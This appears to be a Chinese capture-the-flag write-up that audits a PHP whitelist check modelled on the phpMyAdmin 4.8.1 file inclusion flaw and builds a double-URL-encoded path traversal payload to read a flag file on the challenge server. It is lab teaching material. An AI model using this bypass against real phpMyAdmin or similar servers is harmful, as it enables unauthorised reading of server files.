知识点:代码审计,phpmyadmin任意文件包含漏洞
参考:phpmyadmin 4.8.1任意文件包含
涉及函数:$_REQUEST , in_array() , mb_substr() , mb_strpos()
打开题目查看源码,发现source.php
,跟进得到源码
"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
代码审计,whitelist数组
里有另一个元素hint.php
,进去看看,提示了flag
存储的位置
flag not here, and flag in ffffllllaaaagggg
关键代码:
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
}
即满足这三个条件才能够包含(include$_REQUEST['file']
)
$ _REQUEST[‘file’]不为空
$ _REQUEST[‘file’]为字符串
emmm::checkFile($_REQUEST[‘file’])返回值为真。
分析emmm::checkFile()
这个函数
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
1.首先设置了一个白名单,只包含source.php和hint.php,第一个if检查是否存在$page并且是否为字符串。
2.检查$page
是否在白名单中,是的话返回true。接下来,两个函数一个mb_substr
和mb_strpos
,意思就是截取$page
中?
前面的字符串,然后再进行白名单校验。
3.在url解码
后的$page
的?
前面是否在whitelist
里面
构造payload:
0x01:首先构造?file=source.php
,满足上述第一点
0x02:再构造?file=source.php?
,满足上述第二点
0x03:接着构造?file=source.php%253f
,满足上述第三点
(由于服务器会自动解码一次,所以在checkFile()中,$page的值一开始会是source.php%3f,urldecode解码后变成了source.php?,这次便符合了?前内容在白名单的要求,函数返回true)
0x04:最后通过目录穿越的到ffffllllaaaagggg里面的内容,也就是flag。
playload:http://10d57afd-7622-4cda-b0be-af3d90f1cce0.node1.buuoj.cn/?file=source.php%253f/../../../../ffffllllaaaagggg